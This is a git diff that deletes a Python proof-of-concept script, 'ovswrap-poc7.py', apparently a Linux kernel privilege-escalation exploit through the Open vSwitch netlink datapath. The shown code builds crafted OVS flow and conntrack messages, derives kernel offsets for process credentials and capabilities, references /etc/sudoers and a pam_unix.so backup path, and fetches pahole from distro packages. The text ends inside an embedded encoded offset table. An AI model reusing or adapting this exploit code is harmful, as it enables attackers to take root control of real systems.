diff --git a/ovswrap-poc7.py b/ovswrap-poc7.py deleted file mode 100644 index 4760035..0000000 --- a/ovswrap-poc7.py +++ /dev/null @@ -1,3198 +0,0 @@ -#!/usr/bin/env python3 -from __future__ import annotations - -import base64 -import errno -import glob -import json -import os -import pwd -import re -import shlex -import shutil -import socket -import struct -import subprocess -import sys -import time -import urllib.error -import urllib.request -import zlib -from dataclasses import dataclass, fields -from typing import Any - - -NLMSG_HDR = "IHHII" -GENL_HDR = "BBH" -NLA_HDR = "HH" - -NLM_F_REQUEST = 1 -NLM_F_ACK = 4 -NLM_F_CREATE = 0x400 -NETLINK_GENERIC = 16 -GENL_ID_CTRL = 0x10 -NLMSG_ERROR = 2 -CTRL_CMD_GETFAMILY = 3 -CTRL_ATTR_FAMILY_ID = 1 -CTRL_ATTR_FAMILY_NAME = 2 - -OVS_DATAPATH_VERSION = 2 -OVS_FLOW_VERSION = 1 - -OVS_DP_CMD_NEW = 1 -OVS_DP_ATTR_NAME = 1 -OVS_DP_ATTR_UPCALL_PID = 2 -OVS_DP_ATTR_USER_FEATURES = 5 - -OVS_FLOW_CMD_NEW = 1 -OVS_FLOW_CMD_DEL = 2 -OVS_FLOW_CMD_GET = 3 -OVS_FLOW_ATTR_KEY = 1 -OVS_FLOW_ATTR_ACTIONS = 2 - -OVS_KEY_ATTR_IN_PORT = 3 -OVS_KEY_ATTR_ETHERNET = 4 -OVS_KEY_ATTR_ETHERTYPE = 6 -OVS_KEY_ATTR_IPV4 = 7 -OVS_KEY_ATTR_TCP = 9 -OVS_KEY_ATTR_TUNNEL = 16 -OVS_KEY_ATTR_TCP_FLAGS = 18 -OVS_KEY_ATTR_TUNNEL_INFO = 31 - -OVS_ACTION_ATTR_CT = 12 -OVS_ACTION_ATTR_CLONE = 20 -OVS_ACTION_ATTR_OUTPUT = 1 -OVS_ACTION_ATTR_SET = 3 -OVS_ACTION_ATTR_POP_VLAN = 5 - -OVS_CT_ATTR_COMMIT = 1 -OVS_CT_ATTR_LABELS = 4 -OVS_CT_ATTR_HELPER = 5 -OVS_CT_ATTR_TIMEOUT = 9 - -OVS_TUNNEL_KEY_ATTR_IPV4_SRC = 1 -OVS_TUNNEL_KEY_ATTR_IPV4_DST = 2 -OVS_TUNNEL_KEY_ATTR_TOS = 3 -OVS_TUNNEL_KEY_ATTR_TTL = 4 -OVS_TUNNEL_KEY_ATTR_TP_SRC = 9 -OVS_TUNNEL_KEY_ATTR_TP_DST = 10 -OVS_TUNNEL_KEY_ATTR_IPV4_INFO_BRIDGE = 16 - -ETH_P_IP = 0x0800 -IPPROTO_TCP = 6 - -BTF_DIR = "/sys/kernel/btf" -NLA_HEADER_SIZE = 4 -KERNEL_BASE_SYMBOL = "_text" -REQUIRED_SYMBOLS = ( - KERNEL_BASE_SYMBOL, - "module_ktype", - "init_pid_ns", -) -HOST_USER_ENV = "OVS_C004_HOST_USER" -HOST_WRITER_PID_ENV = "OVS_C004_HOST_WRITER_PID" -HOST_WRITER_TRIGGER_FD_ENV = "OVS_C004_HOST_WRITER_TRIGGER_FD" -HOST_WRITER_ACK_FD_ENV = "OVS_C004_HOST_WRITER_ACK_FD" -SUDOERS_FILE = "/etc/sudoers" -SUDOERS_DROPIN_DIR = "/etc/sudoers.d" -PAM_UNIX_SO = "/lib/x86_64-linux-gnu/security/pam_unix.so" -PAM_UNIX_BAK = "/lib/x86_64-linux-gnu/security/pam_unix.so.bak" -CARRIER_TIMEOUT = "timeout" -CARRIER_LABELS_ONLY = "labels-only" -CARRIER_AUTO = "auto" -CARRIER_ORDER = (CARRIER_TIMEOUT, CARRIER_LABELS_ONLY) -CT_ACTION_COUNT = 400 - -DWARVES_PKG_DIRNAME = "dwarves_pkg" -DWARVES_ROOT_DIRNAME = "dwarves_root" - - -def _dwarves_lib_dirs(root: str) -> list[str]: - lib_dirs: list[str] = [] - for rel in ( - "usr/lib64", - "usr/lib/x86_64-linux-gnu", - "usr/lib/aarch64-linux-gnu", - "usr/lib", - ): - path = os.path.join(root, rel) - if os.path.isdir(path): - lib_dirs.append(path) - return lib_dirs - - -def _apply_dwarves_env(root: str) -> None: - bin_dir = os.path.join(root, "usr/bin") - lib_dirs = _dwarves_lib_dirs(root) - os.environ["PATH"] = ( - bin_dir + ":/usr/bin:/bin:" + os.environ.get("PATH", "") - ) - if lib_dirs: - os.environ["LD_LIBRARY_PATH"] = ":".join(lib_dirs) + ":" + os.environ.get( - "LD_LIBRARY_PATH", "" - ) - - -def _pahole_runnable() -> bool: - if shutil.which("pahole") is None: - return False - try: - subprocess.run( - ["pahole", "--version"], - capture_output=True, - check=True, - env=os.environ, - ) - return True - except (subprocess.CalledProcessError, OSError): - return False - - -def _directory_allows_exec(base: str) -> bool: - try: - os.makedirs(base, exist_ok=True) - probe = os.path.join(base, ".ovs_c004_exec_probe") - with open(probe, "w", encoding="ascii") as handle: - handle.write("#!/bin/sh\n") - os.chmod(probe, 0o755) - subprocess.run([probe], check=True, capture_output=True) - os.remove(probe) - return True - except OSError: - return False - - -def _pick_dwarves_base() -> str: - env_base = os.environ.get("OVS_C004_DWARES_BASE") - candidates: list[str] = [] - if env_base: - candidates.append(env_base) - home = os.path.expanduser("~") - if home and home != "~": - candidates.append(os.path.join(home, ".cache", "ovs_c004")) - candidates.extend(("/var/tmp/ovs_c004", "/tmp")) - for base in candidates: - if _directory_allows_exec(base): - return base - raise RuntimeError( - "kernel needs dynamic derivation via pahole, but no writable directory " - "allows executing binaries (/tmp may be mounted noexec; set " - "OVS_C004_DWARES_BASE to a path under $HOME)" - ) - - -def _dwarves_paths(base: str) -> tuple[str, str]: - return ( - os.path.join(base, DWARVES_PKG_DIRNAME), - os.path.join(base, DWARVES_ROOT_DIRNAME), - ) - - -def _try_existing_dwarves_root(root: str) -> bool: - pahole_bin = os.path.join(root, "usr/bin/pahole") - if not os.path.isfile(pahole_bin): - return False - try: - os.chmod(pahole_bin, 0o755) - except OSError: - return False - _apply_dwarves_env(root) - return _pahole_runnable() - - -def _detect_pkg_family() -> str: - if shutil.which("apt-get") or shutil.which("apt"): - return "debian" - if shutil.which("dnf") or shutil.which("yum"): - return "rhel" - raise RuntimeError( - "kernel needs dynamic derivation via pahole, but no supported package " - "manager was found (need apt/apt-get or dnf/yum) and pahole is not installed" - ) - - -def _host_rpm_arch() -> str: - machine = os.uname().machine - if machine in ("x86_64", "amd64"): - return "x86_64" - if machine in ("aarch64", "arm64"): - return "aarch64" - return machine - - -def _filter_rpms_for_host(rpm_paths: list[str]) -> list[str]: - arch = _host_rpm_arch() - matched = [ - path - for path in rpm_paths - if path.endswith(f".{arch}.rpm") or f".{arch}." in os.path.basename(path) - ] - return sorted(matched or rpm_paths) - - -def _extract_rpm_tree(rpm_path: str, root: str) -> None: - log(f"bootstrap: extracting {rpm_path}") - proc = subprocess.run( - f"rpm2cpio {shlex.quote(rpm_path)} | cpio -idmv", - shell=True, - cwd=root, - capture_output=True, - text=True, - ) - if proc.returncode != 0: - raise RuntimeError( - f"failed to extract {rpm_path}: {proc.stderr or proc.stdout}" - ) - - -def _pahole_failure_detail(root: str) -> str: - pahole_bin = os.path.join(root, "usr/bin/pahole") - lines = [f"pahole_bin={pahole_bin} exists={os.path.isfile(pahole_bin)}"] - if not os.path.isfile(pahole_bin): - return "\n".join(lines) - try: - os.chmod(pahole_bin, 0o755) - except OSError as exc: - lines.append(f"chmod failed: {exc}") - _apply_dwarves_env(root) - proc = subprocess.run( - [pahole_bin, "--version"], - capture_output=True, - text=True, - env=os.environ, - check=False, - ) - lines.append(f"pahole --version rc={proc.returncode}") - if proc.stdout.strip(): - lines.append(f"stdout: {proc.stdout.strip()}") - if proc.stderr.strip(): - lines.append(f"stderr: {proc.stderr.strip()}") - if shutil.which("ldd"): - ldd = subprocess.run( - ["ldd", pahole_bin], - capture_output=True, - text=True, - check=False, - ) - ldd_out = (ldd.stdout or ldd.stderr).strip() - if ldd_out: - lines.append(f"ldd:\n{ldd_out}") - return "\n".join(lines) - - -def _bootstrap_pahole_rhel(pkg_dir: str, root: str) -> None: - pkg_mgr = "dnf" if shutil.which("dnf") else "yum" - for tool in (pkg_mgr, "rpm2cpio", "cpio"): - if shutil.which(tool) is None: - raise RuntimeError( - f"kernel needs dynamic derivation via pahole, but {tool!r} is " - "missing and pahole is not installed" - ) - - if os.path.isdir(root): - shutil.rmtree(root) - os.makedirs(pkg_dir, exist_ok=True) - os.makedirs(root, exist_ok=True) - - log(f"bootstrap: fetching dwarves RPMs (+ deps) via {pkg_mgr}") - resolved = subprocess.run( - [pkg_mgr, "download", f"--destdir={pkg_dir}", "--resolve", "dwarves"], - capture_output=True, - text=True, - check=False, - ) - if resolved.returncode != 0: - log( - "bootstrap: --resolve dwarves failed, trying explicit package list " - f"({resolved.stderr or resolved.stdout or resolved.returncode})" - ) - subprocess.run( - [ - pkg_mgr, - "download", - f"--destdir={pkg_dir}", - "dwarves", - "libdwarves1", - "libdwarves", - "elfutils-libelf", - "elfutils-libdw", - ], - check=True, - ) - - rpm_paths = _filter_rpms_for_host(sorted(glob.glob(os.path.join(pkg_dir, "*.rpm")))) - if not rpm_paths: - raise RuntimeError(f"RPM download failed under {pkg_dir}") - - # libs/elf 先解,dwarves(pahole) 最后 - def _rpm_sort_key(path: str) -> tuple[int, str]: - base = os.path.basename(path) - if base.startswith("dwarves-"): - return (2, base) - return (1, base) - - for rpm_path in sorted(rpm_paths, key=_rpm_sort_key): - _extract_rpm_tree(rpm_path, root) - - pahole_bin = os.path.join(root, "usr/bin/pahole") - if not os.path.isfile(pahole_bin): - raise RuntimeError( - f"pahole binary not found after RPM extract: {pahole_bin}" - ) - os.chmod(pahole_bin, 0o755) - - -def _bootstrap_pahole_debian(pkg_dir: str, root: str) -> None: - apt = shutil.which("apt-get") or shutil.which("apt") - dpkg_deb = shutil.which("dpkg-deb") - if apt is None or dpkg_deb is None: - raise RuntimeError( - "kernel needs dynamic derivation via pahole, but apt/apt-get or " - "dpkg-deb is missing and pahole is not installed" - ) - - os.makedirs(pkg_dir, exist_ok=True) - os.makedirs(root, exist_ok=True) - log(f"bootstrap: fetching pahole DEBs via {apt}") - - primary = subprocess.run( - [apt, "download", "pahole"], - cwd=pkg_dir, - capture_output=True, - text=True, - check=False, - ) - if primary.returncode != 0: - raise RuntimeError( - "DEB download failed for pahole: " - f"{primary.stderr or primary.stdout or primary.returncode}" - ) - - for pkg in ("libdwarves1", "libdw1t64", "libdw1", "libelf1t64", "libelf1"): - subprocess.run( - [apt, "download", pkg], - cwd=pkg_dir, - capture_output=True, - text=True, - check=False, - ) - - deb_paths = sorted(glob.glob(os.path.join(pkg_dir, "*.deb"))) - if not deb_paths: - raise RuntimeError(f"DEB download produced no .deb files under {pkg_dir}") - - for deb_path in deb_paths: - log(f"bootstrap: extracting {deb_path}") - proc = subprocess.run( - [dpkg_deb, "-x", deb_path, root], - capture_output=True, - text=True, - check=False, - ) - if proc.returncode != 0: - raise RuntimeError( - f"failed to extract {deb_path}: {proc.stderr or proc.stdout}" - ) - - pahole_bin = os.path.join(root, "usr/bin/pahole") - if not os.path.isfile(pahole_bin): - raise RuntimeError( - f"pahole binary not found after DEB extract: {pahole_bin}" - ) - os.chmod(pahole_bin, 0o755) - - -def ensure_pahole_available() -> None: - """Download/extract pahole when absent (Debian/apt or RHEL/dnf/yum).""" - if _pahole_runnable(): - return - - base = _pick_dwarves_base() - pkg_dir, root = _dwarves_paths(base) - if _try_existing_dwarves_root(root): - log(f"bootstrap: using existing pahole tree at {root}") - return - - family = _detect_pkg_family() - if family == "debian": - _bootstrap_pahole_debian(pkg_dir, root) - else: - _bootstrap_pahole_rhel(pkg_dir, root) - - _apply_dwarves_env(root) - if not _pahole_runnable(): - detail = _pahole_failure_detail(root) - raise RuntimeError( - "pahole bootstrap completed but pahole is still unavailable in PATH " - f"(install root={root})\n{detail}" - ) - log(f"bootstrap: pahole ready at {shutil.which('pahole')} (base={base})") - - - -def align4(value: int) -> int: - return (value + 3) & ~3 - - -def nla(attr_type: int, payload: bytes) -> bytes: - length = 4 + len(payload) - if length > 0xFFFF: - raise ValueError(f"netlink attribute too long: {length}") - return ( - struct.pack(NLA_HDR, length, attr_type) - + payload - + (b"\x00" * (align4(length) - length)) - ) - - -def cstr(value: str) -> bytes: - return value.encode("ascii") + b"\x00" - - -@dataclass(frozen=True) -class Attr: - attr_type: int - payload: bytes - raw_len: int - - -@dataclass(frozen=True) -class SymbolOffsets: - module_ktype: int - init_pid_ns: int - - -@dataclass(frozen=True) -class KernelOffsets: - nf_conntrack_helper_me: int - module_kobj_ktype: int - vmlinux_module_ktype: int - vmlinux_init_pid_ns: int - task_pid: int - task_cred: int - task_pid_links: int - cred_fsuid: int - cred_fsgid: int - cred_cap_permitted: int - cred_cap_effective: int - pid_namespace_idr: int - idr_idr_rt: int - idr_base: int - xarray_xa_head: int - xa_node_shift: int - xa_node_slots: int - pid_tasks: int - hlist_head_first: int - dst_entry_ref: int - dst_entry_ref_kind: str - metadata_dst_tun_info: int - ip_tunnel_key_ipv4_src: int - ip_tunnel_key_ipv4_dst: int - ip_tunnel_key_tos: int - ip_tunnel_key_ttl: int - ip_tunnel_key_tp_src: int - ip_tunnel_key_tp_dst: int - ovs_ct_labels: int - ovs_ct_action_len: int - - -@dataclass(frozen=True) -class TunnelReadLane: - name: str - field_offset: int - attr_type: int - payload_index: int - optional_zero: bool - - -@dataclass(frozen=True) -class KernelBuildRecord: - release: str - version: str - machine: str - offsets: KernelOffsets - read_carrier: str - write_carrier: str - read_lanes: tuple[str, ...] - ovs_key_attr_tunnel_info: int - - -@dataclass(frozen=True) -class KernelParameterPlan: - name: str - offsets: KernelOffsets - record: KernelBuildRecord | None - - -KERNEL_RECORDS_DESCRIPTION = "the embedded pre-derived kernel record table" - -# BEGIN EMBEDDED KERNEL RECORDS -_KERNEL_RECORDS_B85 = (b"c-rmVU2h%7+2;H6=TkJYPZBtbsJiQ=tLw~&Y~ay`Y~zuGAbT(n7RhCqTQn(9q!VSZ{n>X{FH&lf-Mw0?Sxu_>&u}mqiIEeE`uX-%_sjqKucG)r_5Ur3KmE2o`t{^&^QTz+>EFS>@%B%D-TuV+FTZ@)Tz;s3V*8o(4;@`>j^7-u-@n=X^2_Gv^5pmQA9Mb%_kRBU=Hj=L%gfDi{qr{5{`p@%ygf-jZshKdUo}52pFjWj!{wXJ+2zH@Hy4{<>Ywtq`={Q#J2^}L(LcR;b8&Q)KKIk-{d#&*f99{7b^RAOx%hBdf0p|6lPAX)Zw}WV(*FwWZ~bWczZZ8t`Td*AtFyDs>6>?(k8e)i|8CzLH@}{iq0jknaa4a!==qe(^AESbgm-@W{q1r+?dAu8-H3>-0;fPkeK7_RD$t!pr9`?{DYFSErjd@6HeZ-#70rKfZ6iMDqE+#Mv)zj?T~OumAe!UH#QPt$)Mc{FXk+e*T>E-#@%Lx_q;)zfsQ5-kfgEnlH1x`}3#k!_Dc3+yBw`C&zEj*1v5&yk8$}(r?DC---0Im+KGjKHUC&OF#4`eJeHJT<*?Kyx)FvmDb+-@i(U@XU#7rq4l5o{kQsuul`+sbxtmu&pJz=VssE~TmMyWKJDf!cJsw5mAAI_-|pY*H)rR^n>QbRJ^AJKH`b@0IX%C;^L6<5`r=~!@lE|1={q=mA2mPo|K0o%t-pflw|ISdd2#bwe)F4IU4PC+`qn?Hf1Q&}`YQhE^5nP8`PJp0+CP1|KHH?f^8fnum8riiKYy9(Z=lcrpXU4Rjk@qUOoATf`KfiA-KGfeg>C^u&UA%tvQ}NUPeD~d}pMHMx;-5c!`|7{{R(yYPQoLG!EVL_>jbfq>#dj}$E<}mH`BnaPadNro`k((_*Iz{xL_rip!ADlG{`Y$-`193ft6)__7G8-M+42qfyam3Ru{NZ3%&Gt?FDpjF%bhX=*+qjL}l-s!dl-*7-Nh-I?LfdGnC?(}KY{NEe!*+JI&E9PPV{_cFtyL3~glG+J<2G*NHg0Ek+wJZ4&%a)6-PVN)(dlR%ZsRs?6K{WY{TUCUp!U(2D2}ig1yPXdmFhKn^;+)j_N()4SS(VgGK!Aksa|m#x2axn`w6>!lNP65XcMi8rlj7+ZQQ2b#_jBGSJUh5Dy7BBMN7Sn+qjL}xSic?*?)#5O<^aujVhFnBGEF1joY|QPJ-L{-Ij^(lBY#oZmZ}dIz>zZ+ptZ!4ckwd?WWv5O*1Sy8i`7%wqYB#VH>uyvpsc&<+KRtQBs#tv*`o2VVjTyw)3-XA0Q-2z1tFJ{mzMYAHD2R2UgLFEuVq4keOmaYzAmHVnGdh=8n5v>v)69#1iRV#?3$~FKH5i|RB2h#3AU3Suzfe!Ey(u)d-KcD+2vOTwv}CAyPaU$VX&>)33eOguLf-04YpLlc7kmyKLEB@VHeo-pE2uNzvVq(r_XaLFkihGuw4zdR>7>^zT0$B9jeve53kNHuNty%TIYM)1Q8s(%0v~1*K6Mr75IQIO7tmRf1Xv`MOmEEZuR!)eJ9bjE9^`+qEyMYNQ}(aR&cFYCDXV)%OVz6ecEhmD5e6@*4;q7H=4FZ4jv;rat<#~?ULqcl+mO6OO)QoT_}dB5}S^m^l+siIIwLo`Iwc?Z$?iSFyXtM2cOu8Fp3yT8^Pn}ukICXI&ZS%~gQqy62Uj+90xqRXg#v;-Xx4bgK29oCH6rDT+1m(ucx9*Cp;-E~SSjuxpuqOzO>M`@HMjz;PHO6%S@I^4}VnioTx;%G&4G(J7QrT#n)uq>14|6E;k*3nw2yZzD4nXIx|9j#f{fzl|=qajMqp>)rq;T@w}y?5y*xQmukh8T^}yc%Nk3`Y078s6)@`|;?q@XdCA8?8fVghpr{4G}uK&;yT#Wq)gj`1%8-Q5vP^QhHn+Z4`C%;*^%&N5iTs>JXPUDp?a1Gb|7d(L5SL^bADzKN{-JV}@lK23MXj7L-Qm`5q0+5i2{=qoJ^}V}VNdJ{sz~VMkL*t7e0=j)plFjK=7>9u0$xTdQOhMlaClo=3xb9n$I1P)wmz)b$5QDHPjV>Ed*M&~!WH;$c|T%yrEd34p4N2ha!K1$%p5TYS^zNo`_H7e@RhUUBF5j~JcS6z9u)JogvB)Sr%Q5vP^X^|eav7`PxHg+sfX*<*+ZSJ>7pQb?;(Mf4)X_Q83;trIaLFt~jqht5oi_K9XsgO2h6o`gsh$ilU==?;{SA21X>@aq1)?DuqKTv-dLE+tBWc@pGfTTd*)(oQmo!SFG+ojtJ%iG{UDCF@kk&pr6QzP^h=yoh4Iw%|(eK7Aze}%%FV|;H|DB6sqWNUB$7qbkXr2u*I+xKy&xZH*-~Dj@d;M)yC>_&&C3cj;G)&LMv=5^$gd6c(2wxi0zW>?Kbd9oTlMWkNACt!_ty=EYRq_hr@dt@S2B1U+9n$Y2$e~#AuA>;Si&<8$I-J*vGU;Z8ZHIFb&f@9Kv*drpx|^L)#U1NJy(Y(s4ru4lx>|c{s%A8I10KIP^U$|F_dDoX$dNl;+_OrDssO_uMx=A~Xiq@bsN~1LIhA5p`>Cpdf=1?xxyu65AkDKONY8WZY(4m=la84VMMFb&g$9Wb4nY1&_%-(hrqqX)Y0ZZq9Vq@^Z03QD6iN|Q*VbZ(`6eF30M&~!WH<5N-3p;ePNLrWCc#Otqj3({C=a@_NS+68f!!%68G=T?9XJ%Tfp}?c+T2yLubKB5Fp-~#8QJP{JrE@E-`=1U&-@IXn;-VOg#%PSDlE&!#M)y|IqPnhxYnLi%RYk>F7L-P5o(@quztVkAhobv8cW4`Jz-Wxd=$X=v%GyzBhZBrmn$gmqc2s>chudKm8l^EBqi3t5Ll{>_dp6)L&*c@jdZso!qeiviNeCp<3uD?2GhN=_;88Q(+@dw6mKvsE8m3_yrn55b^dQq--_NE`3z5|4Aud{&hH03FX_(H;^l&!q<^EjDX?j9bRkR^mfoYhAX_$uTyi5;g)85>@O8f2A+jN!IM^i=}P#UFCdM2f<8F%qeag}yyO8a4@Z}sE7USBp!S7`uINwglNQ5vOD8m03pT@EW<-iuHDeYR{^FvDO*7rC{FGA_zHjh%@jXWBqb)iDkWmL?zz%)$5G)!k^diedYytj3!VcHh8(N4D}#bFwzVH&1kIuFysvn{2)JA(Mb`R|EoQK@NK6MDcjOv5xxXJ$GKGkyQ`;rguDF2{2$$3tn9o=@r0je9^eEXP}z(&g|2Vo*Iw`?SvE^VTJlMro8rX_U^R^zZ{>xOe>U`^{nD3z2ATbgVE%X_Q83l+LX5@cUu7w;S)(`l41^nESW);QN@?QR&vsC76b3n1*SX&cpQZoOmejZS#14kw#lYnzJpmdB8MG!!%51X1W??y6QS8?o#FE$(kPA6D2>utln%pf9+keId3T!Zb|J$aHA^RR@`_1g4k8^zaK}b#KvhVp>$1ZBdWgkLUa_(=9)4GcDarw<-{ro|9=&OJdsgFx~pLyU(<Rz(~F<65BsnW`zTR!m8eFfw%Qz+13T90?XB+9>xN|ATo-&atBDhc6P}>et#8X)R_mcS!O5;TK}v5*Yj^H5YCf;@k9J+q=pL)LU+&fU+382T{vxmafv&k$2gjR3tq*Kit$#c2R$4bo|MWlKefR38pWnRr=MUe$`tQFLFE)oK>$4*LGP;zN{-gPYu5|I|<-7g+2H_A6;d>Kqtg-FGuYH8qpXb{D00ZHRBmC&}{OTCUfgH%G#ew{5g}jTq%KY2#4@FYH=Gz)#BO*2wyJY(`#`c2XY{%7T*VQ`UxKZaXpFevWssS;G6bB=!WiRUxP#UgU~&_{swRW2k^(Ky`8e7YVRNxz!wC#l__MqYPF@>t+cF+f@-LS>a0{tB_nF>^m&e2dudcpuCW0dumPLe8nEX8yPOnGU>Gk`sLmq}~%-9a@}Lp8NEROg}kL3Wk^Hedrbwe=%|y#u?+dp%lX;2!2+4(6y!sY`Rzr4O{f1F!)bu&GM{J2TkR_jHUK>xOEmhU$l@t#@BB+}75u?{TPJ1l13+j{~p)8?dRZ0XsL?lXq`?rdkt&Ks8iTTSIjwsvl(624Dj=VBZ4UDCxPE8`KckmFxt&6g>*;`ttyLNnmRuD{adI5q+@!?LTKVx@O>9Znxb(Uu}wS-(M6(D71;%MrVt^|NOUfKG#7vbVE0EL-)heZCBc&wH*`ZcbVGM$x}~Pu?N9eVHpj)Q^~a(p3sps}qN|`Ax}kd(x^++^t}Ld{vxYqnr>UuE&J2`>in#Dd39D4QfL>oj#fc8bVE0ELw82HbxpUMMt2HK65YBi>XKWkXiMmZZs>+?=*~;Guj#hcRJu=#LKiwjrK2J+fo|xAZs^WUcX=RAO`!YNtA=i^3T>lx(FN#+Zs>+?=*~#DUFlNQbnEF=w|1#H&>5<3=!Wk3=r+cWqT4$+?=!Wk6bbCK7F!}cCZE6mz={AZE6X=F+=!WjRbcdR5Q`24UPxtGqvxaW5g)-6UsF+?=*~#DQ#IZ8Kx)1x1tzaI?~9_U|2##}Q9N`*H*`ZcbZ4a7)O5Q832HjsVv6K;6@@`~=!S0ShVGnnyP9ra(>-w{=f|VVChK;o!$cf(LpO9oH*{yD+t+lLHQjzX-J;X_Dea>pFoAC9hHmK2Nq2gt3^mOd+xjqVqlqcjMwTq5JEnyQ=BdHQnWOy0`nfjb`a9bVE0ELwA0SGZs>;Y2dCTXnr>6m9VQOK*K|vn0u!ZM&4JJj-Ovr)(4B#9Q`7Bhx+m^1`F?YlrYW_L#zhO=&<)+t4c$5Ewkuuv1EVHPQ+|JOQoLGU6opT8>$>VT&<)+t4c*Y4k#1kpUDkBFX<2uoyB1qj%}9=iZs>+?=!Wi$bcamqH8n7)>9%S8lq;jAIS{&`8@i!8Gu>KE3rs#$-5~`g&PS)A8@izzx}iHW-KM5nPrH(n=+-vv>#p@S4!WTmx}h7oGtw=!S0ShVB{YuBJUxCc4F?zHaNHrmq{ip&PoPJ15?EDV*=gK4c(vU)a`m=$=lpziT*I;KfmbYdO4u-?|zHP)d}Hd-H*0c)@Z>k(;oJ5H#z`tjYr~vBa0i=Ht={PC_qsQ~%a<=e)vnMgs`7D9?4sO4lnV<|&N%5*F37->om6Jmlbs2=G^LCP6QrtqSc-BxOiMSgN`GMM|C3a^+PvF)sk2C$+o=DsTU_zei=QzK(=hF+m{$K|e`tMIJs;DmeMq}GF;YvWT+~%G6{JBLq|HKFNZqcZ%Cyp2V#KAyh+DetK_xZZ=0J}qNTqjaX44nj?0_()u1V1wz0vzA>0KA3WkByG>s?L9JADXvgEx3ndV}{Yc-y@T@0(d-F@=&SI7IZX-iz0Ru$h-)dDwgQ`G|Z+;D%;jAC-`n05@<`aRc}KaPOU#nCl^Iif-)2Zi;T~&TO}+2}Sp3xV4KaL_^UH+`vuI4cw0a_r6894(WEDqUgqM?560(?)-Mk{zdoAreUp%y5iP4+Cb3_+`vuI{YWe89u72JrM<%1P>BK>paB|{==_!F7o`YoyCo{ux>Cys^RTzA&dh5CcE1h|2lq8qrs7PzZ)3{lhN4BWsC+`#<^aDP!+(zZM8^C0QQZtNy4!R|TiuJ$jwZ_XeVI>p@ehjOGPzzy6K-M~FR++S35x9zs+>VV;i61%aRq8q!j+ild;q`QXO6snn`6dJmL8@MUDf%_5Q-XrO5?A9htQCdyWjosKy(T&~N?bZ*FbcY1D=;$m(H*f^pD+H*f>@Bf!1aB#t!80+z`fX+@|2h?fKpQ;;iJ=`eQmFoVJ$KdQ);kH*`~SL-!1Hn<-6!$!%SwF&yjD(h^E;+{SH6Zrq;R?Jw&IY|-tTwI%d(LpO9&azpnFblWK@cXC@op{nGzWjQx)<2EHXZqM)b7mwjw)2(eZWps*?8@i#JlKX+^zNPgo$NTBt$zEv4+cO)!sQ)LWY*h5Yjo4YmHhMp?)2V^x)lSvl87arsG|C}1Vk7o^uXa0aGt&}Z@#$c=l+jsi!!~T2$2KKm$JiEv4OF9xsz$BZKkR)!3C(9h5Y{lseQvJyI%mnF7S)5K2aztAD~|2TYquH_qD{J93(tyHyA{x7(V+qj+4ZC_Phk8<04OQpR;w~tQGua40hz0rHYRkwM9opIYQ_v-xY^do|Qx!|sxUU|Fnp50onbcx;AjonYA@^&S!l1p@Za^;QQ=#Ad}dK(|Q^wzpDAD|_$G+l0s#%4RtZf(V)_u}+6Q{BdEyvFONS8X$Ivrw-eq}oPp)JAQxZPd=Jc6fknJ9MQZngeCHjoW0~xSiAO>D4xRqc?g}b))xedRJq8^7_JUT*xJ*Kad5F==@%c#YS1O)ocIXY~3(a&FW{ZPcd9en7QvL4Awx8?{IIHa!V$*~VQMY{NDxQYzAn73o7Iz_^XuxP9Ag({Vu{{q@UM8^ry~0->YWyzREpW#yC_<92Dh;%e@a+&0}O1%5dB_m8hTrT+P9Q@p%7D~hT}=LCFIzWDpk+e-tzP;dW0tj^C)KY}$_Q)JI`e9>~mYf)G~!12Y(-fwL7E726$xQ*LSd>|!RqSp^nZKF17qxMWE&a1MN_Gn4Mpt*sJ&9F)5{NgUN}!YrwixSN9|!6reQiC)6V%yMike!w5napyJuN7N>&0Nv0H-TCRZ)@fh*ozpbw6|?61>9vZqXEoq^AHLtq>TONW`T6R&wq8r#JkeH+rKt<2C3#x87!|+bypxUgI@hGhTz&8NGgxY8$mt8?_m);bn3TxhIX-q#&gJCX801Euk8!p_&mJ3hX>gPZ+VmX`IGsf@_@4?6iM?;M%t%5H^h9HC_{3<8@ZArw7-ljoPUFG)HR6Czys1Tu+pH|9P6%>&xvVWT-!)*eHg18t8`ZJ9LNcg1dA>1$Xef3T`V_hidmAyBK3bJ57h~1<-8{v|4GU4t_bZ>WhciU!9*7-@d;niZan{b#&#;5W9nJ=!S0ShVGnn%a(3EiS8;Y9Zi64=!WhY=?+1SqFWP~ERJryf7P89kR-abYUp-R9CSlBbVE0E&qDX!RrejbC8`R#p&PoP8@gwpTlTNIUtetllXM-yMQft7&<)+t4c*W^3*CEH-M8s>QtJ)f&<))@Q$lxsy2G@h`_;OZ+Z4)0<)aehMsDOrZseXr?nyOwOKwBbjoiqM+{itP+|`7ddwsc;yDF59QbtW@AaWx&awGRFa_?Vr-4QM+4PR4b@N$)w!wGy;MsV)u|h#$v~t~bxCbT_3=S9R6irCtL}3M?Mnt7J$ylpq1xL~8Az!Vogj;%TFP_`VRLbE)QNTH+v2@NQCFMhC_;_5E~5$2UXRZpH*zC)Ub&Z_Uf;s{7UTVL?@-SSs%OTj_v_WRWL1S$QQW7c)ToDgsFzPYvD#H5&UYDO>$3K1UaoXkz8$K0lSVOQul4%PC`QwO;7l}JMgcTHn-eq{Q^px*Y{?Ma!u}zA(vIflAHC0-9nC%(6E&MFpc}fMU@clYVbSOE=r&urWg^{TqxR4Z-OxQF-Kvx^Rkv6hpnF+#o9UNiMHkwzq8Yi78@Z8tKDj3!lHJN}t0>gm$c@}{${nm4_jK3#FM-?(k$dm7q+zv;?`48@Z8t7P%*-C7eNomPvxwVg$oEy23o0=QBXOP=JK+Rn>n@ilNn}o=X+{jJMjoj1ao?dfT%{5ug;u7RW?x(qPN&<^Z7AAL?uyX3xt48j$?Kurll5-f!jTv=x7P*ldxmojy+|%WrUUN5cOBo&g+{lgG^T{pcxZV<5nbLFIa4BlL1FdexaP}O1zj|9}m)LeLYT+I&WJC5$WREPiP5sG`y(qF}(#-oc*)F;=Di7I^4cYUM?Ylm$D<26~LH2UUHv1RZDH~}n;8aO$RYju_8?h04rXsu4qjC`)LO|>#i7ivo?3UQ+>^Wj1Heyp_BX&Nq?X(~}i7jQb39yQq8XK_@n;ILjvx+?_$Nns~kx|=75F4=(n;ILj_Z8diUt_1+WG}Byi^3OLMIEB0#zt(!rp89>tYXWQYm(Put14~$(5F4?XdPMAuVwVq4W0&btyYo@g-G|tS{nTn~h8`Ct_VgON7Q0L{kD6W)#71mtY{bqec9>pci>?0{MRC#a@`%`oO^uD%S;d}QV<)jq+M4aiu@M`wsj(3|qu5nlW9vQpvDcT)Ca84JSE32ArW>&l8?mXe5j&&UvK3ncI(@qn`~p1a_